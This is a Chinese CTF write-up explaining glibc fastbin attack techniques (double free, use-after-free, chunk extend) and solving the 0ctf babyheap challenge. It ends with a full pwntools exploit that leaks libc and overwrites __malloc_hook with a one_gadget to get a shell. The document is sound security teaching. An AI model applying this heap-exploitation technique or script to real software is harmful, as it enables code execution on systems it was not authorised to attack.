[pwn]fastbin attack

文章目录

  • [pwn]fastbin attack
    • fastbin attack原理
      • double free
      • use after free
      • chunk extend
      • 需要注意的点
    • 0ctf:babyheap

fastbin attack原理

fastbin attack是利用fastbin分配原理的漏洞,利用要求是我们能够修改“已释放”堆块。通常情况下与double free、use after free和chunk extend连用。

首先简单介绍一下fastbin的分配流程:

fastbins是管理在malloc_state结构体重的一串单向链表,分为0x20-0x807个链表(默认情况下)。每个表头对应一个长度不超过4个的单向链表。

  • 每次释放对应大小的堆块都会被连入对应大小的链表中(链表长度<4)。
  • 每次分配会优先从fastbins中分配对应大小的区块。

如下图:

由chunk的bk指针域指向下一个空闲fastbin堆块,最后一个空闲堆块的bk指针为0。申请堆块的时候会将表中第一个堆块分配,然后表头指向第一个堆块指向的下一个堆块,如下图:

如果下一个堆块为0就说明分配完了,表头指向空即可。关于fastbin的更详细信息和chunk结构等可以参阅《ptmalloc源码分析》。接下来就三种典型的可以利用fastbin attack的漏洞进行简单介绍

double free

double free+fastbin attack的利用场景通常是这样的,当程序有double free漏洞时,我们通过申请两个fastbin大小的堆块1和2,还是以0x30举例,然后分别释放chunk 1和chunk 2,fastbin的链表结构就会如下图:

这时由于有double free漏洞,再释放chunk 1,链表就会变成这样一个循环链表:

表头指向chunk1,chunk1指向chunk2,chunk2又指回chunk1。那么这时按照如下步骤:

  • 申请一个new chunk 1:
  • 将new chunk 1的指针域修改为要修改的地址-0x10以上:
  • 申请一个new chunk 2:
  • 再申请一个new chunk 3(new chunk 3是和new chunk 1重合的)
  • 这时可以发现,fastbin链表已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

use after free

use after free来利用fastbin attack也非常简单。首先,申请一个对应fastbin区间内的堆块并释放:

接着利用use after free将这个已释放堆块的指针域修改,修改为想要修改的地址:

然后和double free的后半段类似,再申请两个堆块便可申请到想要修改的地址处,之后编辑即可。

chunk extend

chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null或者其他堆溢出来利用。

chuank extend利用需要的条件是:

  1. 可以进行堆布局
  2. 可以溢出至少一个字节

chunk extend的原理是,首先申请三个堆块:

这里size 0x18是堆块的大小,1是前一个堆块占用位,先通过编辑堆块A然后通过off by one来溢出到堆块B的size域,并将其修改为0x18+0x18+1(其实就是size B+size C,然后前一个堆块占用1):

这时释放堆块B,由于大小在fastbins中,所以(堆块C的)下一个堆块的前一个堆块使用位不会被置0,再释放C,arena中对应的bins就会指向B和C,如图:

这时只要再申请一个0x40的大小的堆块,就可以将B+C这个“合成”堆块申请回来,然后就可以操作还在bins中的C堆块C了,将其指针为修改为想要任意写的地址,如free_got:

然后再申请一个大小为0x20的堆块,将C申请回来,这时bins就会指向freegot,接下来再申请空间就会申请到freegot了:

再次申请一个0x20大小的堆块就会申请到free_got所在的地方,这时就可以修改为任意的值了。

需要注意的点

在申请fastbin时会有两个检测:

  • 检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内
  • 检测你这个freechunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测(libc2.23没有)

而以libc-2.23为例,如果想要使用fastbin attack来修改malloc_hook为onegadget的话,只是将修改地址写成malloc_hook_addr-0x10是通过不了检验的,一个固定用法是修改成malloc-0x23,下面通过一道题来演示一下chunk extend来利用fastbin attack修改malloc为onegadget的。

0ctf:babyheap

题目:0ctfbabyheap
首先查看安全策略:

全开,基本堆题目日常操作。然后逆向查看程序逻辑:


基本就是一个典型的堆题目,可以自由申请、编辑、释放、输出堆块。漏洞出现在Fill函数中:

可以向堆块输入任意长度,造成溢出。

想要利用,首先是要泄露libc地址。这里采用的是泄露unsortbin链表的地址,先申请四个堆块如图,其中最后一个chunk 3的作用是和top chunk隔离:

申请0x68的大小实际上就是0x70,如下:

alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3


然后利用堆溢出,堆chunk 0编辑,使chunk 0溢出内容将chunk1 的size修改为0xe1,即chunk1+chunk2大小的和,然后pre占用位为1,这时释放1,相当于释放了一个size为0xe0的chunk,会被放入unsortbin链表中:

fill(0,0x19,'a'*0x18+'\xe1')
free(1)


这时再申请一个0x70的堆块,便会从unsortbin中分割一个0x70的大小的堆块出来,然后剩下的继续连入unsortbin中。但需要注意的是,分割之前unsortbin中的那个0xe0大小的堆块是我们通过溢出伪造的堆块,实际上是由一个0x70的(已释放堆块,在前)和一个0x70的(未释放堆块,在后)组成的。这时在申请一个0x70的堆块就会将前一部分已释放的那个堆块重新申请回来,那么后一个堆块就会被作为空闲堆块连入unsortbin中,但实际上这个堆块我们可控,我们可以将其内容输出,就会获得一个指向unsortbin的指针值,便泄露了libc地址:

alloc(0x68) #1
dump(2)
p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
print hex(leak)


而这时libc的起始地址是:

那么地址偏移就是:

libc_base=leak-(0x7fe195323b78-0x7fe194f88000)

这时我们就有了libc的地址了,然后的利用思路是将malloc_hook修改为onegadget,然后申请一个堆块就会完成getshell。

这时我们需要的操作也非常简单,只需再申请一个0x70的堆块chunk 4,我们就会发现我们有两个堆块(chunk2和chunk4)同时指向同一个0x70的地址空间。

alloc(0x68) #4


这时我们只需释放chunk2,然后编辑chunk4便可修改fastbin的指针了,然后0x70的fastbin链表就会变成之前说的“格式”!

malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))



可见,0x70的fastbin链已经指向malloc_hook的区域了,这里多说一嘴,为什么是malloc_hook-0x23:

可以看出,malloc_hook-0x23的seze域正好是malloc前面的某个地址的0x7f,可以达到fastbin的身躯的检测,而由于这个堆块有0x70这么大,我们只需要在申请的地址偏移0xb的地方就可以修改到malloc_hook为onegadget:

onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))


接下来只要再随便申请一个堆块便可以了,完整exp如下(调试的时候使用的调试版libc,最后利用的时候要换回做题环境的libc,地址什么的都需要重新获取一下):

from pwn import *context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./0ctfbabyheap"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")def alloc(size):p.sendlineafter("Command: ", str(1))p.sendlineafter("Size: ", str(size))def fill(index, size, content):p.sendlineafter("Command: ", str(2))p.sendlineafter("Index: ", str(index))p.sendlineafter("Size: ", str(size))p.sendlineafter("Content: ", content)def free(index):p.sendlineafter("Command: ", str(3))p.sendlineafter("Index: ", str(index))def dump(index):p.sendlineafter("Command: ", str(4))p.sendlineafter("Index: ", str(index))alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3
fill(0,0x19,'a'*0x18+'\xe1')
free(1)
alloc(0x68) #1
dump(2)p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
libc_base=leak-(0x7fc4a1902b78-0x7fc4a153e000)
print "libc_base-> " +hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))
alloc(0x18)
p.interactive()

成功:

[pwn]堆:fastbin attack详解相关推荐

  1. 【数据结构】堆,大根堆,小根堆,优先队列 详解

    目录 堆 1.堆的数组实现 2.小根堆 3.大根堆 4.优先队列 例题 1.SP348 EXPEDI - Expedition(有趣的贪心思路,优先队列) 2.合并果子 堆 要了解堆之前,请先了解树, ...

  2. java内存优化详解_jvm堆内存优化详解

    在日常的运维工作中用到tomcat,都需要对tomcat中的jvm虚拟机进行优化,只有知道需要优化参数的具体用处,才能深刻体会优化jvm的意义所在. 在平常的工作中我们谈对jvm的优化,主要是针对ja ...

  3. C++堆和栈详解(转)

    一.预备知识-程序的内存分配     一个由C/C++编译的程序占用的内存分为以下几个部分     1.栈区(stack)-   由编译器自动分配释放   ,存放函数的参数值,局部变量的值等.其   ...

  4. 【STL学习】堆相关算法详解与C++编程实现(Heap)

    堆简介 堆并不是STL的组件,但是经常充当着底层实现结构.比如优先级队列(Priority Queue)等等. 堆是一种完全二叉树,因此我们可以用数组来存储所有节点.在这里的实现中,采用了一个技巧:将 ...

  5. 解决fatal error C1060: 编译器的堆空间不足(详解)

    原因: 常见的是由于定义了大量静态全局数组,编译时导致编译器占用内存超出该编译器程序可访问范围. 以VS2013,编译生成64位程序为例.由于VS默认使用32位编译器(即编译器为32位并交叉编译64位 ...

  6. 堆外内存与堆内内存详解

    堆外内存一直是Java业务开发人员难以企及的隐藏领域,究竟他是干什么的,以及如何更好的使用呢?那就请跟着我进入这个世界吧. 一.什么是堆外内存 1.堆内内存(on-heap memory)回顾 堆外内 ...

  7. OOM系列之一:java.lang.OutOfMemoryError: Java堆空间问题详解

    第一篇:java.lang.OutOfMemoryError: Java heap space Java 应用程序只允许使用有限的内存量.此限制是在应用程序启动期间指定的.为了让事情变得更复杂,Jav ...

  8. 建堆的时间复杂度详解

    接上之前堆的博客,里面我曾提过建堆的时间复杂度是O(N),那么是为什么呢?下面进行推导 按照最坏情况,该堆是满二叉树,如上图 又依据公式: 黑色框圈住的代表的是每层有的节点的个数 第一层有2^(1-1 ...

  9. java堆外内存详解(又名直接内存)和ByteBuffer

    堆内内存 java的内存分为堆内内存和堆外内存,在了解堆外内存之前,先看看堆内内存是啥,堆内内存是受jvm管控的,也就是说,堆内内存由jvm负责创建和回收:创建和回收都是自动进行的,不需要人为干预: ...

  10. JVM堆内存(heap)详解

    很好的一篇文章,转载了http://blog.51cto.com/lizhenliang/2164876?wx= JAVA堆内存管理是影响性能主要因素之一. 堆内存溢出是JAVA项目非常常见的故障,在 ...

最新文章

  1. 互联网大佬口口声声的人工智能,笑到最后的也许是马云的云计算
  2. 网站发布问题及使用Web Deployment Projects
  3. OpenCV学习笔记(六)(七)(八)(九)(十)
  4. 【计算机组成原理】Chapter1-复习题
  5. 微信壹佰超级名片小程序源码v1.1.16
  6. Linux使用FlowScan
  7. 红外接收头图片_亿光红外线接收头IRM-56384内部构造原理图
  8. 快速排序的C++实现
  9. 冯康 计算机组装与维护,计算机组装与维护_毕业论文.doc
  10. weak_ptr介绍
  11. 华硕路由架设php,华硕 RT-AC68U 路由模式默认 VLAN
  12. unity有限状态机和模糊状态机(怪物AI、自动寻路)
  13. 2020 夏季短学期实践学习计划与安排
  14. css常见的几种布局
  15. 南京邮电大学操作系统实验五:Windows平台多进程共享内存通信
  16. Remove Duplicates
  17. 5G NR-无线接口架构
  18. 阻塞队列 BlockingQueue【享学课堂】
  19. P1500 丘比特的烦恼(KMMCMF)
  20. hibernate生成数据表时报错:HHH000388: Unsuccessful: create table emp (empid integer generated by default as i

热门文章

  1. Python-基于request豆瓣电影票房信息爬取,简单粗暴
  2. outlook 发送邮件
  3. 《知识产权知识产权信用管理规定》解读问答
  4. GooglePlay商店如何优化
  5. Android那些事!
  6. 电脑只能上qq不能打开网页
  7. 十余种无限流量卡大对比,这一种的最实惠!
  8. 2020电信宽带费用_中国电信宽带 2020电信宽带套餐价格表
  9. java mongodb avg_Java-mongodb-AggregationOutput(分组、统计)
  10. Redis 缓存穿透、缓存雪崩、热点Key问题分析和解决方案